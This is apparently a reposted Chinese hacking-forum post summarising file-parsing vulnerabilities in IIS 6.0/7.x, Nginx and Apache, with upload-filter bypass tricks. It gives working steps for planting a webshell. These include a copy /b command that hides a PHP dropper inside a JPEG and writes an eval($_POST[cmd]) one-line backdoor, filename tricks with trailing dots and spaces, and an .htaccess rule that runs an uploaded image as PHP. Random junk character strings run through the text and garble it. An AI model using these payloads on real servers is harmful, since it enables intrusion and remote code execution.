常见服务器解析漏洞总结

admin

Author : laterain
: {0 C- V1 F. `/ I2 H* Z2 {[+]IIS6.0
3 D2 L  F: ?5 p6 q
目录解析：/xx.asp/xx.jpg
xx.jpg 可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码
8 i- h& U/ U* Q3 d: B3 a IIS6.0 会将 xx.jpg 解析为 asp 文件。
- g; v/ a; k6 [9 s' O: Z后缀解析：/xx.asp;.jpg     
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
/ D% [' m9 c$ [默认解析：/xx.asa
& [$ P% |1 ^1 ^. m) ~         /xx.cer
         /xx.cdx
, e4 l' R% Z0 Z, s5 w3 c5 R+ A0 K IIS6.0 默认的可执行文件除了 asp 还包含这三种
此处可联系利用目录解析漏洞
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
$ W0 `% C4 r7 }. t, x' h: q
2 A- x" o5 H" ^1 ^2 }4 S0 Y IIS 7.0/IIS 7.5/Nginx <0.8.03
" u% B/ _0 z* J4 g1 A 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
- B+ q/ S* }* C" H4 f% e 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
常用利用方法：
将一张图和一个写入后门代码的文本文件合并将恶意文本
- s; G. e9 z3 V& h) T 写入图片的二进制代码之后，避免破坏图片文件头和尾
9 y' E; s8 k, U$ w5 p7 W, p( G 如：
copy xx.jpg /b + yy.txt/a xy.jpg
' @, ^7 O4 `3 v #########################################################
2 T( U2 a0 J2 U" p' D# ]6 s- I6 `8 I /b 即二进制[binary]模式
" y' j0 r" \) n6 r1 i /a 即ascii模式
2 X. q5 \) ]: ]) V0 B8 J# e xx.jpg 正常图片文件
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
3 k6 l* {# C  I8 M6 N  A '<?php eval($_POST[cmd])?>');?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
$ K, L4 K$ j! d# u( B) S( o# X 为shell.php的文件
###########################################################
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
密码 cmd
. H+ m" g& X1 @[+]Nginx <0.8.03
4 y; ^9 p9 }2 E, q# K3 _, c
! L( a/ l$ l  l. v* n 在Fast-CGI关闭的情况下，Nginx <0.8.03依然存在解析漏洞
* `$ N) Y1 I+ t# X 在一个文件路径(/xx.jpg)后面加上%00.php
9 ]5 q. `! L6 J* D6 H$ [ 会将 /xx.jpg%00.php 解析为 php 文件。
7 ?$ ~+ m7 t3 |0 W. ?+ _3 E[+]Apache<0.8.03
) e' S6 X- T: V2 e+ O
2 E$ X  _& u! O 后缀解析：test.php.x1.x2.x3
- o, J5 k7 C: @& }, i2 k% Z. w Apache将从右至左开始判断后缀，若x3非可识别后缀，
+ \' E1 ~0 T: v3 @) C 再判断x2，直到找到可识别后缀为止，然后将该可识别
3 f3 U0 R3 t. F1 d' [7 M! j3 W 后缀进解析test.php.x1.x2.x3 则会被解析为php
经验之谈：php|php3|phtml 多可被Apache解析。
[+]其他一些可利用的

在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
7 _% Z1 {! g7 o; ]1 k: x若这样命名，windows会默认除去空格或点，这也是可以被利用的！
$ H# `# x4 x% |4 r, v) v在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格
或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
& K& m1 ^0 }/ \- }{Linux主机中不行，Linux允许这类文件存在}
如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说
& s* u- x# ]; e的，当初我并不知道），且可以被上传，那可以尝试在
.htaccess中写入:
3 g6 h8 P! v3 s9 X<FilesMatch “shell.jpg”>
SetHandler application/x-httpd-php
</FilesMatch>
! Q8 p0 [; u) O" |" v- E" n, nshell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件
[+]错误修改

" Y) Q1 f7 x( t  R在 IIS 6.0 下可解析 /xx.asp:.jpg
" ^1 w4 {0 V6 t4 D{/xx.asp:.jpg 此类文件在Windows下不允许存在，:.jpg被自动除去
剩下/xx.asp}修改：
先谢谢核攻击的提醒
当上传一个/xx.asp:.jpg文件时，的确:.jpg会消失，但是现在的/xx.asp
里是没有任何内容的，因为。。不好解释 大家自己看
http://lcx.cc/?i=2448
6 V/ A6 z0 V% ?4 p0 Ghttp://baike.baidu.com/view/3619593.htm
​